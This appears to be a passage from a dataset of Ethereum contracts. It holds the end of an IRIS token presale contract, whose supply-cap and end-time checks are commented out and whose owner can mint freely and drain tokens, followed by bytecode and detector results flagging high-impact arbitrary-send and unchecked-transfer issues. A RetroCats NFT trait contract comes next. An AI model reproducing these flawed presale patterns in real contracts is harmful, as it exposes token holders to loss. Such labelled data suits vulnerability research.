multiSig = _newWallet;
SetWallet(_newWallet);
}
function IrisTokenPrivatSale() public {
// *************************************
multiSig = 0x02cb1ADc98e984A67a3d892Dbb7eD72b36dA7b07; // IRIS multiSig Wallet Address
//**************************************
token = new IrisToken();
}
function placeTokens(address beneficiary, uint256 _tokens) onlyOwner public {
require(_tokens != 0);
require (beneficiary != 0x0);
// require(!hasEnded());
//require(tokenRaised.add(_tokens) <= maxTokens);
if (token.balanceOf(beneficiary) == 0) {
numberOfPurchasers++;
}
tokenRaised = tokenRaised.add(_tokens); // so we can go slightly over
token.mint(beneficiary, _tokens);
TokenPlaced(beneficiary, _tokens);
}
// low level token purchase function
function buyTokens(address buyer, uint256 amount) whenNotPaused internal {
require (multiSig != 0x0);
require (msg.value > 1 finney);
// update state
weiRaised = weiRaised.add(amount);
HostEther(buyer, amount);
// send the ether to the MultiSig Wallet
multiSig.transfer(this.balance); // better in case any other ether ends up here
SendedEtherToMultiSig(multiSig,amount);
}
// transfer ownership of the token to the owner of the presale contract
function transferTokenContractOwnership(address _address) public onlyOwner {
token.transferOwnership(_address);
}
// fallback function can be used to buy tokens
function () public payable {
buyTokens(msg.sender, msg.value);
}
function emergencyERC20Drain( ERC20 oddToken, uint amount ) public onlyOwner{
oddToken.transfer(owner, amount);
}
}
|
0x606060405260043610610149576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461014e57806306fdde031461017b578063095ea7b3146102095780630bba662d1461026357806318160ddd1461028c57806323b872dd146102b5578063293230b81461032e578063313ce567146103435780633f4ba83a1461036c57806340c10f191461039957806342966c68146103f35780635b4f472a146104165780635c975abb14610443578063661884631461047057806370a08231146104ca5780637d64bcb4146105175780638456cb59146105445780638da5cb5b1461057157806395d89b41146105c6578063a9059cbb14610654578063d73dd623146106ae578063db0e16f114610708578063dd62ed3e1461074a578063e8315742146107b6578063f2fde38b146107df575b600080fd5b341561015957600080fd5b610161610818565b604051808215151515815260200191505060405180910390f35b341561018657600080fd5b61018e61082b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ce5780820151818401526020810190506101b3565b50505050905090810190601f1680156101fb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561021457600080fd5b610249600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108c9565b604051808215151515815260200191505060405180910390f35b341561026e57600080fd5b6102766109bb565b6040518082815260200191505060405180910390f35b341561029757600080fd5b61029f6109c1565b6040518082815260200191505060405180910390f35b34156102c057600080fd5b610314600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109c7565b604051808215151515815260200191505060405180910390f35b341561033957600080fd5b610341610a14565b005b341561034e57600080fd5b610356610a8d565b6040518082815260200191505060405180910390f35b341561037757600080fd5b61037f610a93565b604051808215151515815260200191505060405180910390f35b34156103a457600080fd5b6103d9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b5a565b604051808215151515815260200191505060405180910390f35b34156103fe57600080fd5b6104146004808035906020019091905050610d03565b005b341561042157600080fd5b610429610d10565b604051808215151515815260200191505060405180910390f35b341561044e57600080fd5b610456610d23565b604051808215151515815260200191505060405180910390f35b341561047b57600080fd5b6104b0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d36565b604051808215151515815260200191505060405180910390f35b34156104d557600080fd5b610501600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610fc7565b6040518082815260200191505060405180910390f35b341561052257600080fd5b61052a611010565b604051808215151515815260200191505060405180910390f35b341561054f57600080fd5b6105576110bc565b604051808215151515815260200191505060405180910390f35b341561057c57600080fd5b610584611184565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105d157600080fd5b6105d96111aa565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106195780820151818401526020810190506105fe565b50505050905090810190601f1680156106465780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561065f57600080fd5b610694600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611248565b604051808215151515815260200191505060405180910390f35b34156106b957600080fd5b6106ee600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611293565b604051808215151515815260200191505060405180910390f35b341561071357600080fd5b610748600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061148f565b005b341561075557600080fd5b6107a0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061157c565b6040518082815260200191505060405180910390f35b34156107c157600080fd5b6107c9611603565b6040518082815260200191505060405180910390f35b34156107ea57600080fd5b610816600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611609565b005b600360149054906101000a900460ff1681565b60078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108c15780601f10610896576101008083540402835291602001916108c1565b820191906000526020600020905b8154815290600101906020018083116108a457829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60005481565b6000600a60009054906101000a900460ff1615156109e457600080fd5b600660009054906101000a900460ff16151515610a0057600080fd5b610a0b8484846116e0565b90509392505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a7057600080fd5b6001600a60006101000a81548160ff021916908315150217905550565b60095481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610af157600080fd5b600660009054906101000a900460ff161515610b0c57600080fd5b6000600660006101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a16001905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bb857600080fd5b600360149054906101000a900460ff16151515610bd457600080fd5b600554610bec83600054611a9f90919063ffffffff16565b11151515610bf957600080fd5b610c0e82600054611a9f90919063ffffffff16565b600081905550610c6682600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a9f90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b610d0d3382611abd565b50565b600a60009054906101000a900460ff1681565b600660009054906101000a900460ff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610e47576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610edb565b610e5a8382611c7390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561106e57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561111a57600080fd5b600660009054906101000a900460ff1615151561113657600080fd5b6001600660006101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112405780601f1061121557610100808354040283529160200191611240565b820191906000526020600020905b81548152906001019060200180831161122357829003601f168201915b505050505081565b6000600a60009054906101000a900460ff16151561126557600080fd5b600660009054906101000a900460ff1615151561128157600080fd5b61128b8383611c8c565b905092915050565b600061132482600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a9f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561155c57600080fd5b6102c65a03f1151561156d57600080fd5b50505060405180519050505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60055481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561166557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156116dd5780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561171d57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561176b57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156117f657600080fd5b61184882600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c7390919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118dd82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a9f90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119af82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c7390919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000808284019050838110151515611ab357fe5b8091505092915050565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515611b0b57600080fd5b611b5d81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c7390919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bb581600054611c7390919063ffffffff16565b6000819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000828211151515611c8157fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611cc957600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611d1757600080fd5b611d6982600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c7390919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dfe82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a9f90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820cf7c324c0a105baf61dec24ca3a180edf86ca180a1a3893abbd805da484eb8750029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,550 |
0x1d857f6747Bf7B7431091072De5697EA39172F97
|
// SPDX-License-Identifier: MIT
/**
██████╗ ███████╗████████╗██████╗ ██████╗ ██████╗ █████╗ ████████╗███████╗
██╔══██╗██╔════╝╚══██╔══╝██╔══██╗██╔═══██╗ ██╔════╝██╔══██╗╚══██╔══╝██╔════╝
██████╔╝█████╗ ██║ ██████╔╝██║ ██║ ██║ ███████║ ██║ ███████╗
██╔══██╗██╔══╝ ██║ ██╔══██╗██║ ██║ ██║ ██╔══██║ ██║ ╚════██║
██║ ██║███████╗ ██║ ██║ ██║╚██████╔╝ ╚██████╗██║ ██║ ██║ ███████║
╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝
███╗ ███╗███████╗████████╗ █████╗ ██████╗ █████╗ ████████╗ █████╗
████╗ ████║██╔════╝╚══██╔══╝██╔══██╗██╔══██╗██╔══██╗╚══██╔══╝██╔══██╗
██╔████╔██║█████╗ ██║ ███████║██║ ██║███████║ ██║ ███████║
██║╚██╔╝██║██╔══╝ ██║ ██╔══██║██║ ██║██╔══██║ ██║ ██╔══██║
██║ ╚═╝ ██║███████╗ ██║ ██║ ██║██████╔╝██║ ██║ ██║ ██║ ██║
╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝
<<https://github.com/retro-cats/retro-cats-contracts>>
*/
pragma solidity 0.8.7;
/*
* @title Our contract for describing what a cat looks like.
* @dev This contract has almost 0 functionality, except for rngToCat
* which is used to "say" what the random number (the DNA)
* of a cat would result in for a cat
*/
contract RetroCatsMetadata {
uint256 internal s_maxChanceValue = 10000;
struct RetroCat {
Background background;
Frame frame;
Breed breed;
Eyes eyes;
Hair hair;
Bling bling;
Head head;
Item item;
Ring ring;
Earring earring;
Vice vice;
}
struct TraitMetadata {
uint256[34] backgrounds;
uint256[12] frames;
uint256[16] breeds;
uint256[10] eyes;
uint256[21] hairs;
uint256[22] blings;
uint256[21] heads;
uint256[22] items;
uint256[22] rings;
uint256[22] earrings;
uint256[22] vices;
}
enum Background {
Black,
Blue,
Green,
Grey,
Orange,
Pink,
Purple,
Red,
Yellow,
LightBlue,
LightGreen,
LightPink,
LightYellow,
D1B,
D1O,
D1P,
D1Y,
D2B,
D2O,
D2P,
D2Y,
D3B,
D3O,
D3P,
D3Y,
D4B,
D4O,
D4P,
D4Y,
D5B,
D5O,
D5P,
D5Y
}
enum Frame {
Black,
Brass,
Browne,
Glit,
Gold,
Leather,
Pine,
Silver,
White,
Wood,
None
}
enum Breed {
Bengal,
Calico,
Chimera,
HighColor,
Mitted,
Solid,
Tabby,
Tortie,
Tuxedo,
Van,
Cloud,
Lightning,
Mister,
Spotty,
Tiger
}
enum Eyes {
BlueOpen,
BlueWink,
Closed,
GreenOpen,
GreenWink,
OrangeOpen,
OrangeWink,
YellowOpen,
YellowWink
}
enum Hair {
Braid,
Dreads,
Fro,
LongFlipped,
LongStraight,
Mullet,
Muttonchops,
Pageboy,
ShortFlipped,
None,
BrownShag,
GingerBangs,
GingerShag,
LongRocker,
Pigtails,
PunkSpikes,
StackedPerm,
TinyBraids,
TVMom,
Wedge
}
enum Bling {
BlueNeckscarf,
CopperBracelet,
DiscoChest,
HandlebarMustache,
LongMustache,
LoveBeads,
MoonNecklaces,
PeaceNecklace,
PearlNecklace,
PukaShellNecklace,
CollarCuffs,
FeatherBoa,
CameoChoker,
Woodenbeads,
GoldFringe,
TurquoiseNecklace,
OrangeBoa,
CoralNecklace,
SilverFringe,
SilverMoon,
SunnyBeads
}
enum Head {
AviatorGlasses,
Daisy,
Eyepatch,
Headband,
Headscarf,
HeartGlasses,
NewsboyCap,
RoundGlasses,
SquareGlasses,
TopHat,
BraidedHeadband,
DaisyHeadband,
DiscoHat,
GoldTBand,
GrandmaGlasses,
GrandpaGlasses,
GreenGlasses,
RainbowScarf,
RedBeret,
TinselWig
}
enum Item {
Atari,
Disco,
Ether,
FlooyDisc,
Houseplants,
LandscapePainting,
LavaLamp,
PalmSurboard,
Record,
RedGuitar,
TennisRacket,
NerfFootball,
Skateboard,
Personalcomputer,
Afghan,
Fondue,
LawnDarts,
Rollerskates,
Phone,
Bicycle,
Chair
}
enum Ring {
Emerald,
MoodBlue,
MoodGreen,
MoodPurple,
MoodRed,
Onyx,
Ruby,
Sapphire,
Tortoiseshell,
Turquoise,
ChainRings,
StackRings,
NoseRing,
MensGoldRing,
MoonRing,
EtherRing,
OrbRing,
GiantDiamond,
TattooCat,
TattooFish,
TattooBird
}
enum Earring {
Coral,
DiamondStuds,
GoldBobs,
GoldChandelier,
GoldHoops,
OrangeWhite,
RubyStuds,
SilverHoops,
Tortoiseshell,
Turquoise,
None,
BlueWhite,
GreenWhite,
SilverChandelier,
SapphireStuds,
EmeraldStuds,
PearlBobs,
GoldChains,
SilverChains,
PinkMod,
GoldJellyfish
}
enum Vice {
Beer,
Bong,
Cigarette,
Eggplant,
JelloSalad,
Joint,
Mushrooms,
PetRock,
PurpleBagOfCoke,
Whiskey,
CheeseBall,
ProtestSigns,
TequilaSunrise,
Grasshopper,
PinaColada,
QueensofDestructionCar,
SPF4,
SWPlush,
SlideProjector,
Tupperware,
TigerMagazine
}
uint256 public constant maxChanceValue = 10000;
string public constant purr = "Meow!";
/**
* @dev Percentages for each trait
* @dev each row will always end with 10000
* When picking a trait based on RNG, we will get a value between 0 - 99999
* We choose the trait based on the sum of the integers up to the index
* For example, if my random number is 251, and my array is [250, 200, 10000]
* This means my trait is at the 1st index. 251 is higher than 250, but lower than
* 250 + 200
*/
function traits() public pure returns (TraitMetadata memory allTraits) {
allTraits = TraitMetadata(
// backgrounds
[500, 1100, 600, 1000, 900, 1400, 700, 2000, 800, 400, 270, 30, 100, 1, 6, 11, 16, 2, 7, 12, 17, 3, 8, 13, 18, 4, 9, 14, 19, 5, 10, 15, 10, maxChanceValue],
// frames
[250, 150, 300, 200, 40, 10, 80, 70, 400, 100, 8400, maxChanceValue],
// breeds
[90, 600, 75, 400, 900, 2700, 2100, 155, 2600, 280, 35, 1, 5, 50, 9, maxChanceValue],
// eyes
[1200, 10, 2000, 1400, 90, 1800, 1000, 1600, 900, maxChanceValue],
// hairs
[600, 4, 1000, 1200, 1200, 1, 500, 300, 700, 1600, 400, 450, 5, 7, 80, 3, 650, 350, 750, 200, maxChanceValue],
// blings
[1100, 200, 800, 500, 200, 700, 1400, 400, 800, 600, 1200, 40, 2, 350, 250, 450, 5, 50, 300, 650, 3, maxChanceValue],
// heads
[1200, 1100, 1, 1300, 600, 300, 1000, 400, 350, 900, 250, 60, 4, 300, 550, 500, 30, 950, 200, 5, maxChanceValue],
// items
[90, 800, 1, 1400, 1200, 900, 700, 550, 1300, 1000, 6, 400, 600, 200, 50, 60, 150, 250, 40, 300, 3, maxChanceValue],
// rings
[400, 1000, 900, 600, 850, 1300, 1200, 800, 500, 700, 250, 200, 150, 200, 500, 60, 350, 30, 1, 6, 3, maxChanceValue],
// earings
[400, 1, 200, 90, 1200, 500, 200, 1000, 300, 600, 3000, 250, 450, 105, 7, 5, 375, 725, 575, 4, 13, maxChanceValue],
// vices
[1000, 420, 1100, 1300, 50, 1200, 1450, 7, 30, 500, 400, 550, 200, 650, 460, 1, 20, 54, 2, 600, 6, maxChanceValue]
);
}
function rngToCat(uint256 randomNumber) external pure returns (RetroCat memory retroCat) {
TraitMetadata memory allTraits = traits();
// retroCat = RetroCat(Background(traitIndexes[0]),Frame(1),Breed(1),Eyes(1),Hair(1),Bling(1),Head(1),Item(1),Ring(1),Earring(1),Vice(1));
retroCat = RetroCat({
background: Background(getTraitIndex(allTraits.backgrounds, getModdedRNG(randomNumber, 0))),
frame: Frame(getTraitIndex(allTraits.frames, getModdedRNG(randomNumber, 1))),
breed: Breed(getTraitIndex(allTraits.breeds, getModdedRNG(randomNumber, 2))),
eyes: Eyes(getTraitIndex(allTraits.eyes, getModdedRNG(randomNumber, 3))),
hair: Hair(getTraitIndex(allTraits.hairs, getModdedRNG(randomNumber, 4))),
bling: Bling(getTraitIndex(allTraits.blings, getModdedRNG(randomNumber, 5))),
head: Head(getTraitIndex(allTraits.heads, getModdedRNG(randomNumber, 6))),
item: Item(getTraitIndex(allTraits.items, getModdedRNG(randomNumber, 7))),
ring: Ring(getTraitIndex(allTraits.rings, getModdedRNG(randomNumber, 8))),
earring: Earring(getTraitIndex(allTraits.earrings, getModdedRNG(randomNumber, 9))),
vice: Vice(getTraitIndex(allTraits.vices, getModdedRNG(randomNumber, 10)))
});
}
function getModdedRNG(uint256 randomNumber, uint256 seed) public pure returns (uint256 modded_rng) {
uint256 newRng = uint256(keccak256(abi.encode(randomNumber, seed)));
modded_rng = newRng % maxChanceValue;
}
function getTraitIndex(uint256[10] memory traitArray, uint256 moddedRNG) private pure returns (uint256) {
uint256 cumulativeSum = 0;
for (uint256 i = 0; i < traitArray.length; i++) {
if (moddedRNG >= cumulativeSum && moddedRNG < cumulativeSum + traitArray[i]) {
return i;
}
cumulativeSum = cumulativeSum + traitArray[i];
}
revert("Value outside maxChanceValue");
}
function getTraitIndex(uint256[12] memory traitArray, uint256 moddedRNG) private pure returns (uint256) {
uint256 cumulativeSum = 0;
for (uint256 i = 0; i < traitArray.length; i++) {
if (moddedRNG >= cumulativeSum && moddedRNG < cumulativeSum + traitArray[i]) {
return i;
}
cumulativeSum = cumulativeSum + traitArray[i];
}
revert("Value outside maxChanceValue");
}
function getTraitIndex(uint256[16] memory traitArray, uint256 moddedRNG) private pure returns (uint256) {
uint256 cumulativeSum = 0;
for (uint256 i = 0; i < traitArray.length; i++) {
if (moddedRNG >= cumulativeSum && moddedRNG < cumulativeSum + traitArray[i]) {
return i;
}
cumulativeSum = cumulativeSum + traitArray[i];
}
revert("Value outside maxChanceValue");
}
function getTraitIndex(uint256[21] memory traitArray, uint256 moddedRNG) private pure returns (uint256) {
uint256 cumulativeSum = 0;
for (uint256 i = 0; i < traitArray.length; i++) {
if (moddedRNG >= cumulativeSum && moddedRNG < cumulativeSum + traitArray[i]) {
return i;
}
cumulativeSum = cumulativeSum + traitArray[i];
}
revert("Value outside maxChanceValue");
}
function getTraitIndex(uint256[22] memory traitArray, uint256 moddedRNG) private pure returns (uint256) {
uint256 cumulativeSum = 0;
for (uint256 i = 0; i < traitArray.length; i++) {
if (moddedRNG >= cumulativeSum && moddedRNG < cumulativeSum + traitArray[i]) {
return i;
}
cumulativeSum = cumulativeSum + traitArray[i];
}
revert("Value outside maxChanceValue");
}
function getTraitIndex(uint256[34] memory traitArray, uint256 moddedRNG) private pure returns (uint256) {
uint256 cumulativeSum = 0;
for (uint256 i = 0; i < traitArray.length; i++) {
if (moddedRNG >= cumulativeSum && moddedRNG < cumulativeSum + traitArray[i]) {
return i;
}
cumulativeSum = cumulativeSum + traitArray[i];
}
revert("Value outside maxChanceValue");
}
}
|
0x608060405234801561001057600080fd5b50600436106100575760003560e01c806354b02b3b1461005c578063be5d23d314610096578063dc90579a146100ad578063dd6902fa146100cd578063e1fc334f146100e0575b600080fd5b610080604051806040016040528060058152602001644d656f772160d81b81525081565b60405161008d91906111d2565b60405180910390f35b61009f61271081565b60405190815260200161008d565b6100c06100bb36600461105b565b6100f5565b60405161008d9190611227565b61009f6100db366004611074565b6103b8565b6100e8610405565b60405161008d9190611305565b6100fd610eb0565b6000610107610405565b905060405180610160016040528061012d83600001516101288760006103b8565b610b5d565b602081111561013e5761013e611455565b602081111561014f5761014f611455565b815260200161016c83602001516101678760016103b8565b610c30565b600a81111561017d5761017d611455565b600a81111561018e5761018e611455565b81526020016101ab83604001516101a68760026103b8565b610cb0565b600e8111156101bc576101bc611455565b600e8111156101cd576101cd611455565b81526020016101ea83606001516101e58760036103b8565b610d30565b60088111156101fb576101fb611455565b600881111561020c5761020c611455565b815260200161022983608001516102248760046103b8565b610db0565b601381111561023a5761023a611455565b601381111561024b5761024b611455565b81526020016102688360a001516102638760056103b8565b610e30565b601481111561027957610279611455565b601481111561028a5761028a611455565b81526020016102a28360c001516102248760066103b8565b60138111156102b3576102b3611455565b60138111156102c4576102c4611455565b81526020016102dc8360e001516102638760076103b8565b60148111156102ed576102ed611455565b60148111156102fe576102fe611455565b81526020016103178361010001516102638760086103b8565b601481111561032857610328611455565b601481111561033957610339611455565b81526020016103528361012001516102638760096103b8565b601481111561036357610363611455565b601481111561037457610374611455565b815260200161038d83610140015161026387600a6103b8565b601481111561039e5761039e611455565b60148111156103af576103af611455565b90529392505050565b60008083836040516020016103d7929190918252602082015260400190565b60408051601f19818403018152919052805160209091012090506103fd6127108261141d565b949350505050565b61040d610f0b565b6040518061016001604052806040518061044001604052806101f4815260200161044c815260200161025881526020016103e88152602001610384815260200161057881526020016102bc81526020016107d081526020016103208152602001610190815260200161010e8152602001601e8152602001606481526020016001815260200160068152602001600b8152602001601081526020016002815260200160078152602001600c8152602001601181526020016003815260200160088152602001600d8152602001601281526020016004815260200160098152602001600e81526020016013815260200160058152602001600a8152602001600f8152602001600a8152602001612710815250815260200160405180610180016040528060fa81526020016096815260200161012c815260200160c8815260200160288152602001600a815260200160508152602001604681526020016101908152602001606481526020016120d081526020016127108152508152602001604051806102000160405280605a81526020016102588152602001604b815260200161019081526020016103848152602001610a8c81526020016108348152602001609b8152602001610a2881526020016101188152602001602381526020016001815260200160058152602001603281526020016009815260200161271081525081526020016040518061014001604052806104b08152602001600a81526020016107d081526020016105788152602001605a815260200161070881526020016103e88152602001610640815260200161038481526020016127108152508152602001604051806102a001604052806102588152602001600481526020016103e881526020016104b081526020016104b08152602001600181526020016101f4815260200161012c81526020016102bc81526020016